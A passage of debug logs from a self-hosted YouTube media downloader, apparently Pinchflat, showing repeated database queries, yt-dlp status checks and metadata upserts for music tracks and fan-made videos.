m0."livestream_behaviour", m0."audio_track", m0."preferred_resolution", m0."media_container", m0."marked_for_deletion_at", m0."inserted_at", m0."updated_at", m0."id" FROM "media_profiles" AS m0 WHERE (m0."id" = ?) [1] 22:21:01.269 [info] User scripts lifecyle file either not present or is empty. Skipping. 22:21:01.270 [debug] QUERY OK source="sources" db=0.2ms idle=36.5ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at", s0."id" FROM "sources" AS s0 WHERE (s0."id" = ?) [5] 22:21:01.270 [debug] QUERY OK source="settings" db=0.4ms idle=36.2ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 22:21:01.270 [debug] Running yt-dlp command for action: get_downloadable_status 22:21:01.270 [debug] QUERY OK source="media_profiles" db=0.3ms idle=36.3ms SELECT m0."id", m0."name", m0."redownload_delay_days", m0."output_path_template", m0."download_subs", m0."download_auto_subs", m0."embed_subs", m0."sub_langs", m0."download_thumbnail", m0."embed_thumbnail", m0."download_source_images", m0."download_metadata", m0."embed_metadata", m0."download_nfo", m0."sponsorblock_behaviour", m0."sponsorblock_categories", m0."shorts_behaviour", m0."livestream_behaviour", m0."audio_track", m0."preferred_resolution", m0."media_container", m0."marked_for_deletion_at", m0."inserted_at", m0."updated_at", m0."id" FROM "media_profiles" AS m0 WHERE (m0."id" = ?) [1] 22:21:01.271 [debug] QUERY OK source="media_items" db=0.1ms idle=1.5ms SELECT 1 FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE ((m0."id" = ?) AND (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds")))) LIMIT 1 [187] 22:21:01.271 [debug] QUERY OK source="settings" db=0.0ms idle=1.7ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 22:21:01.271 [debug] QUERY OK source="settings" db=0.1ms idle=1.2ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 22:21:01.271 [debug] QUERY OK source="media_metadata" db=0.1ms idle=1.1ms SELECT m0."id", m0."metadata_filepath", m0."thumbnail_filepath", m0."media_item_id", m0."inserted_at", m0."updated_at", m0."media_item_id" FROM "media_metadata" AS m0 WHERE (m0."media_item_id" = ?) [187] 22:21:01.271 [debug] QUERY OK source="settings" db=0.1ms idle=0.8ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 22:21:01.271 [debug] QUERY OK source="media_profiles" db=0.2ms idle=0.6ms SELECT m0."id", m0."name", m0."redownload_delay_days", m0."output_path_template", m0."download_subs", m0."download_auto_subs", m0."embed_subs", m0."sub_langs", m0."download_thumbnail", m0."embed_thumbnail", m0."download_source_images", m0."download_metadata", m0."embed_metadata", m0."download_nfo", m0."sponsorblock_behaviour", m0."sponsorblock_categories", m0."shorts_behaviour", m0."livestream_behaviour", m0."audio_track", m0."preferred_resolution", m0."media_container", m0."marked_for_deletion_at", m0."inserted_at", m0."updated_at", m0."id" FROM "media_profiles" AS m0 WHERE (m0."id" = ?) [1] 22:21:01.271 [info] [command_wrapper]: /usr/local/bin/yt-dlp called with: https://www.youtube.com/watch?v=fNjKyIoeQ48 --simulate --skip-download --print-to-file %(.{live_status})j /tmp/pinchflat/data/19/4c/194c537c2d4ed818943c1064b78e0022bcbc9f9dc92f3e66bfb1c7b6249d86d0.json --windows-filenames --quiet --cache-dir /tmp/pinchflat/data/yt-dlp-cache 22:21:01.272 [debug] QUERY OK source="settings" db=0.0ms queue=0.1ms idle=0.7ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 22:21:01.272 [debug] Running yt-dlp command for action: get_downloadable_status 22:21:01.272 [debug] QUERY OK source="settings" db=0.0ms idle=1.1ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 22:21:01.272 [debug] QUERY OK source="settings" db=0.0ms idle=1.2ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 22:21:01.273 [debug] QUERY OK source="settings" db=0.0ms idle=1.1ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 22:21:01.273 [info] [command_wrapper]: /usr/local/bin/yt-dlp called with: https://www.youtube.com/watch?v=YzokiD0V3NE --simulate --skip-download --print-to-file %(.{live_status})j /tmp/pinchflat/data/c8/60/c8601f962e518454101257120932f5bb22ea4114904354315ac27db3b33a2114.json --windows-filenames --quiet --cache-dir /tmp/pinchflat/data/yt-dlp-cache 22:21:01.425 [debug] FileFollowerServer Handler: Got media attributes: %{"description" => "Provided to YouTube by The Orchard Enterprises\n\nLesser Gods · Demon Hunter\n\nWar\n\n℗ 2019 Solid State Records\n\nReleased on: 2019-03-01\n\nAuto-generated by YouTube.", "duration" => 316, "filename" => "/downloads/Grift/Grift/2019-02-28Lesser Gods[lwsLjgrLcQk].m4a", "id" => "lwsLjgrLcQk", "live_status" => "not_live", "original_url" => "https://www.youtube.com/watch?v=lwsLjgrLcQk", "playlist_index" => 19, "timestamp" => 1551348908, "title" => "Lesser Gods", "upload_date" => "20190228"} 22:21:01.426 [debug] QUERY OK source="sources" db=0.1ms idle=153.6ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" IN (?)) [4] 22:21:01.426 [debug] QUERY OK source="sources" db=0.1ms idle=153.6ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [4] 22:21:01.427 [debug] QUERY OK source="media_items" db=0.1ms idle=153.8ms SELECT max(m0."upload_date_index") FROM "media_items" AS m0 WHERE (date(m0."uploaded_at") = date(?) AND (m0."source_id" = ?)) [~U[2019-02-28 10:15:08Z], 4] 22:21:01.569 [debug] FileFollowerServer Handler: Got media attributes: %{"description" => "“Copyright Disclaimer Under Section 107 of the Copyright Act 1976, allowance is made for \"fair use\" for purposes such as criticism, comment, news reporting, teaching, scholarship, and research. Fair use is a use permitted by copyright statutes that might otherwise be infringing. Non-profit, educational, or personal use tips the balance in favor of fair use.\n\n\nThis is a fan-made (not for profit) video and the materials in this video are not related in any way to myself or each other outside of it. Please support the artists by purchasing their original works.”\n\n\nGot the urge to make a new AMV, this is the final result.\n\n\n\nhttps://www.animemusicvideos.org/members/members_videoinfo.php?v=206755\n\nAnime: Neon Genesis Evangelion & Neon Genesis Evangelion: End of Evangelion\nMusic: Radiohead - Man of War - OK Computer: OKNOTOK 1997 2017\nSoftware: Shotcut for editing, Topaz Video Enhance AI for final processing", "duration" => 269, "filename" => "/downloads/Nightcore/Nightcore/2021-08-02Radiohead Wrote the Perfect Neon Genesis Evangelion Theme: a music video[CRqWJy9KxV8].m4a", "id" => "CRqWJy9KxV8", "live_status" => "not_live", "original_url" => "https://www.youtube.com/watch?v=CRqWJy9KxV8", "playlist_index" => 6, "timestamp" => 1627879546, "title" => "Radiohead Wrote the Perfect Neon Genesis Evangelion Theme: a music video", "upload_date" => "20210802"} 22:21:01.618 [debug] QUERY OK source="media_items" db=190.8ms idle=154.2ms INSERT INTO "media_items" AS m0 ("description","title","uuid","prevent_download","media_id","duration_seconds","livestream","original_url","playlist_index","predicted_media_filepath","prevent_culling","short_form_content","source_id","subtitle_filepaths","upload_date_index","uploaded_at","inserted_at","updated_at") VALUES (?1,?2,?3,?4,?5,?6,?7,?8,?9,?10,?11,?12,?13,?14,?15,?16,?17,?18) ON CONFLICT ("source_id","media_id") DO UPDATE SET "description" = ?, "title" = ?, "media_id" = ?, "duration_seconds" = ?, "livestream" = ?, "original_url" = ?, "predicted_media_filepath" = ?, "short_form_content" = ?, "source_id" = ?, "uploaded_at" = ? RETURNING "id" ["Provided to YouTube by The Orchard Enterprises\n\nLesser Gods · Demon Hunter\n\nWar\n\n℗ 2019 Solid State Records\n\nReleased on: 2019-03-01\n\nAuto-generated by YouTube.", "Lesser Gods", "1166ee80-2d8f-454f-8c61-9be33a68c955", false, "lwsLjgrLcQk", 316, false, "https://www.youtube.com/watch?v=lwsLjgrLcQk", 19, "/downloads/Grift/Grift/2019-02-28Lesser Gods[lwsLjgrLcQk].m4a", false, false, 4, [], 1, ~U[2019-02-28 10:15:08Z], ~U[2026-07-24 02:21:01Z], ~U[2026-07-24 02:21:01Z], "Provided to YouTube by The Orchard Enterprises\n\nLesser Gods · Demon Hunter\n\nWar\n\n℗ 2019 Solid State Records\n\nReleased on: 2019-03-01\n\nAuto-generated by YouTube.", "Lesser Gods", "lwsLjgrLcQk", 316, false, "https://www.youtube.com/watch?v=lwsLjgrLcQk", "/downloads/Grift/Grift/2019-02-28Lesser Gods[lwsLjgrLcQk].m4a", false, 4, ~U[2019-02-28 10:15:08Z]] 22:21:01.618 [debug] QUERY OK source="sources" db=49.1ms idle=143.6ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" IN (?)) [1] 22:21:01.618 [debug] QUERY OK source="sources" db=0.3ms idle=192.3ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at", s0."id" FROM "sources" AS s0 WHERE (s0."id" = ?) [4] 22:21:01.619 [debug] QUERY OK source="sources" db=0.4ms idle=191.9ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [1] 22:21:01.619 [debug] QUERY OK source="media_profiles" db=0.3ms idle=191.9ms SELECT m0."id", m0."name", m0."redownload_delay_days", m0."output_path_template", m0."download_subs", m0."download_auto_subs", m0."embed_subs", m0."sub_langs", m0."download_thumbnail", m0."embed_thumbnail", m0."download_source_images", m0."download_metadata", m0."embed_metadata", m0."download_nfo", m0."sponsorblock_behaviour", m0."sponsorblock_categories", m0."shorts_behaviour", m0."livestream_behaviour", m0."audio_track", m0."preferred_resolution", m0."media_container", m0."marked_for_deletion_at", m0."inserted_at", m0."updated_at", m0."id" FROM "media_profiles" AS m0 WHERE (m0."id" = ?) [1] 22:21:01.619 [debug] QUERY OK source="media_items" db=0.4ms idle=1.0ms SELECT max(m0."upload_date_index") FROM "media_items" AS m0 WHERE (date(m0."uploaded_at") = date(?) AND (m0."source_id" = ?)) [~U[2021-08-02 04:45:46Z], 1] 22:21:01.620 [debug] QUERY OK source="media_items" db=0.4ms idle=1.1ms SELECT 1 FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE ((m0."id" = ?) AND (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds")))) LIMIT 1 [139] 22:21:01.620 [debug] Current batch of media processed. Will check again in 1000ms 22:21:01.794 [debug] QUERY OK source="media_items" db=174.3ms idle=1.1ms INSERT INTO "media_items" AS m0 ("description","title","uuid","prevent_download","media_id","duration_seconds","livestream","original_url","playlist_index","predicted_media_filepath","prevent_culling","short_form_content","source_id","subtitle_filepaths","upload_date_index","uploaded_at","inserted_at","updated_at") VALUES (?1,?2,?3,?4,?5,?6,?7,?8,?9,?10,?11,?12,?13,?14,?15,?16,?17,?18) ON CONFLICT ("source_id","media_id") DO UPDATE SET "description" = ?, "title" = ?, "media_id" = ?, "duration_seconds" = ?, "livestream" = ?, "original_url" = ?, "predicted_media_filepath" = ?, "short_form_content" = ?, "source_id" = ?, "uploaded_at" = ? RETURNING "id" ["“Copyright Disclaimer Under Section 107 of the Copyright Act 1976, allowance is made for \"fair use\" for purposes such as criticism, comment, news reporting, teaching, scholarship, and research. Fair use is a use permitted by copyright statutes that might otherwise be infringing. Non-profit, educational, or personal use tips the balance in favor of fair use.\n\n\nThis is a fan-made (not for profit) video and the materials in this video are not related in any way to myself or each other outside of it. Please support the artists by purchasing their original works.”\n\n\nGot the urge to make a new AMV, this is the final result.\n\n\n\nhttps://www.animemusicvideos.org/members/members_videoinfo.php?v=206755\n\nAnime: Neon Genesis Evangelion & Neon Genesis Evangelion: End of Evangelion\nMusic: Radiohead - Man of War - OK Computer: OKNOTOK 1997 2017\nSoftware: Shotcut for editing, Topaz Video Enhance AI for final processing", "Radiohead Wrote the Perfect Neon Genesis Evangelion Theme: a music video", "5c2c2fb1-c735-44f7-8048-8381b1709b78", false, "CRqWJy9KxV8", 269, false, "https://www.youtube.com/watch?v=CRqWJy9KxV8", 6, "/downloads/Nightcore/Nightcore/2021-08-02Radiohead Wrote the Perfect Neon Genesis Evangelion Theme: a music video[CRqWJy9KxV8].m4a", false, false, 1, [], 1, ~U[2021-08-02 04:45:46Z], ~U[2026-07-24 02:21:01Z], ~U[2026-07-24 02:21:01Z], "“Copyright Disclaimer Under Section 107 of the Copyright Act 1976, allowance is made for \"fair use\" for purposes such as criticism, comment, news reporting, teaching, scholarship, and research. Fair use is a use permitted by copyright statutes that might otherwise be infringing. Non-profit, educational, or personal use tips the balance in favor of fair use.\n\n\nThis is a fan-made (not for profit) video and the materials in this video are not related in any way to myself or each other outside of it. Please support the artists by purchasing their original works.”\n\n\nGot the urge to make a new AMV, this is the final result.\n\n\n\nhttps://www.animemusicvideos.org/members/members_videoinfo.php?v=206755\n\nAnime: Neon Genesis Evangelion & Neon Genesis Evangelion: End of Evangelion\nMusic: Radiohead - Man of War - OK Computer: OKNOTOK 1997 2017\nSoftware: Shotcut for editing, Topaz Video Enhance AI for final processing", "Radiohead Wrote the Perfect Neon Genesis Evangelion Theme: a music video", "CRqWJy9KxV8", 269, false, "https://www.youtube.com/watch?v=CRqWJy9KxV8", "/downloads/Nightcore/Nightcore/2021-08-02Radiohead Wrote the Perfect Neon Genesis Evangelion Theme: a music video[CRqWJy9KxV8].m4a", false, 1, ~U[2021-08-02 04:45:46Z]] 22:21:01.819 [debug] QUERY OK source="sources" db=0.6ms queue=0.1ms idle=199.1ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at", s0."id" FROM "sources" AS s0 WHERE (s0."id" = ?) [1] 22:21:01.820 [debug] QUERY OK source="media_profiles" db=0.5ms queue=0.1ms idle=200.2ms SELECT m0."id", m0."name", m0."redownload_delay_days", m0."output_path_template", m0."download_subs", m0."download_auto_subs", m0."embed_subs", m0."sub_langs", m0."download_thumbnail", m0."embed_thumbnail", m0."download_source_images", m0."download_metadata", m0."embed_metadata", m0."download_nfo", m0."sponsorblock_behaviour", m0."sponsorblock_categories", m0."shorts_behaviour", m0."livestream_behaviour", m0."audio_track", m0."preferred_resolution", m0."media_container", m0."marked_for_deletion_at", m0."inserted_at", m0."updated_at", m0."id" FROM "media_profiles" AS m0 WHERE (m0."id" = ?) [1] 22:21:01.821 [debug] QUERY OK source="media_items" db=0.7ms idle=200.9ms SELECT 1 FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE ((m0."id" = ?) AND (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds")))) LIMIT 1 [7] 22:21:01.821 [debug] Current batch of media processed. Will check again in 1000ms 22:21:02.620 [debug] FileFollowerServer Handler: Got media attributes: %{"description" => "Provided to YouTube by Jive/Legacy\n\nAnimal I Have Become · Three Days Grace\n\nOne-X\n\n℗ 2006 RCA Records, a division of Sony Music Entertainment\n\nReleased on: 2006-06-13\n\nLyricist, Guitar, Composer: Barry Stock\nAssociated Performer: Three Days Grace\nLyricist, Vocal, Guitar, Composer: Adam Gontier\nComposer, Background Vocal, Drums, Lyricist: Neil Sanderson\nComposer, Bass, Lyricist: Brad Walst\nProducer, Keyboards, Programmer: Howard Benson\nBackground Vocal: Ned Brower\nLyricist, Composer: Gavin Brown\nMixing Engineer: Chris Lord-Alge\nMastering Engineer: Ted Jensen\nA& R Director: Michael Tedesco\nRecording Engineer: Mike Plotnikoff\nAssistant Engineer: Hatsukazu Inagaki\n\nAuto-generated by YouTube.", "duration" => 231, "filename" => "/downloads/Grift/Grift/2026-06-11Animal I Have Become[CBNGKAH0Xn4].m4a", "id" => "CBNGKAH0Xn4", "live_status" => "not_live", "original_url" => "https://www.youtube.com/watch?v=CBNGKAH0Xn4", "playlist_index" => 20, "timestamp" => 1781172037, "title" => "Animal I Have Become", "upload_date" => "20260611"} 22:21:02.621 [debug] QUERY OK source="sources" db=0.2ms idle=826.8ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" IN (?)) [4] 22:21:02.622 [debug] QUERY OK source="sources" db=0.3ms idle=802.5ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [4] 22:21:02.622 [debug] QUERY OK source="media_items" db=0.2ms idle=801.9ms SELECT max(m0."upload_date_index") FROM "media_items" AS m0 WHERE (date(m0."uploaded_at") = date(?) AND (m0."source_id" = ?)) [~U[2026-06-11 10:00:37Z], 4] 22:21:02.822 [debug] FileFollowerServer Handler: Got media attributes: %{"description" => "watch in highest quality - all clips from Evangelion/ End of Evangelion/ Rebuilds of Evangelion - rei best girl still", "duration" => 132, "filename" => "/downloads/Nightcore/Nightcore/2021-11-27Asuka Langley Soryu - Alien Blues - eggwonkahoot[CVe8asL13uc].m4a", "id" => "CVe8asL13uc", "live_status" => "not_live", "original_url" => "https://www.youtube.com/watch?v=CVe8asL13uc", "playlist_index" => 7, "timestamp" => 1637987959, "title" => "Asuka Langley Soryu - Alien Blues - eggwonkahoot", "upload_date" => "20211127"} 22:21:02.874 [info] GET /sources/1 22:21:02.874 [debug] Processing with PinchflatWeb.Sources.SourceController.show/2 Parameters: %{"id" => "1"} Pipelines: [:browser] 22:21:03.075 [debug] QUERY OK source="media_items" db=453.0ms idle=801.1ms INSERT INTO "media_items" AS m0 ("description","title","uuid","prevent_download","media_id","duration_seconds","livestream","original_url","playlist_index","predicted_media_filepath","prevent_culling","short_form_content","source_id","subtitle_filepaths","upload_date_index","uploaded_at","inserted_at","updated_at") VALUES (?1,?2,?3,?4,?5,?6,?7,?8,?9,?10,?11,?12,?13,?14,?15,?16,?17,?18) ON CONFLICT ("source_id","media_id") DO UPDATE SET "description" = ?, "title" = ?, "media_id" = ?, "duration_seconds" = ?, "livestream" = ?, "original_url" = ?, "predicted_media_filepath" = ?, "short_form_content" = ?, "source_id" = ?, "uploaded_at" = ? RETURNING "id" ["Provided to YouTube by Jive/Legacy\n\nAnimal I Have Become · Three Days Grace\n\nOne-X\n\n℗ 2006 RCA Records, a division of Sony Music Entertainment\n\nReleased on: 2006-06-13\n\nLyricist, Guitar, Composer: Barry Stock\nAssociated Performer: Three Days Grace\nLyricist, Vocal, Guitar, Composer: Adam Gontier\nComposer, Background Vocal, Drums, Lyricist: Neil Sanderson\nComposer, Bass, Lyricist: Brad Walst\nProducer, Keyboards, Programmer: Howard Benson\nBackground Vocal: Ned Brower\nLyricist, Composer: Gavin Brown\nMixing Engineer: Chris Lord-Alge\nMastering Engineer: Ted Jensen\nA& R Director: Michael Tedesco\nRecording Engineer: Mike Plotnikoff\nAssistant Engineer: Hatsukazu Inagaki\n\nAuto-generated by YouTube.", "Animal I Have Become", "91c0992b-cb2a-4421-8e19-263409e7b26a", false, "CBNGKAH0Xn4", 231, false, "https://www.youtube.com/watch?v=CBNGKAH0Xn4", 20, "/downloads/Grift/Grift/2026-06-11Animal I Have Become[CBNGKAH0Xn4].m4a", false, false, 4, [], 2, ~U[2026-06-11 10:00:37Z], ~U[2026-07-24 02:21:02Z], ~U[2026-07-24 02:21:02Z], "Provided to YouTube by Jive/Legacy\n\nAnimal I Have Become · Three Days Grace\n\nOne-X\n\n℗ 2006 RCA Records, a division of Sony Music Entertainment\n\nReleased on: 2006-06-13\n\nLyricist, Guitar, Composer: Barry Stock\nAssociated Performer: Three Days Grace\nLyricist, Vocal, Guitar, Composer: Adam Gontier\nComposer, Background Vocal, Drums, Lyricist: Neil Sanderson\nComposer, Bass, Lyricist: Brad Walst\nProducer, Keyboards, Programmer: Howard Benson\nBackground Vocal: Ned Brower\nLyricist, Composer: Gavin Brown\nMixing Engineer: Chris Lord-Alge\nMastering Engineer: Ted Jensen\nA& R Director: Michael Tedesco\nRecording Engineer: Mike Plotnikoff\nAssistant Engineer: Hatsukazu Inagaki\n\nAuto-generated by YouTube.", "Animal I Have Become", "CBNGKAH0Xn4", 231, false, "https://www.youtube.com/watch?v=CBNGKAH0Xn4", "/downloads/Grift/Grift/2026-06-11Animal I Have Become[CBNGKAH0Xn4].m4a", false, 4, ~U[2026-06-11 10:00:37Z]] 22:21:03.076 [debug] QUERY OK source="sources" db=0.4ms idle=454.0ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", 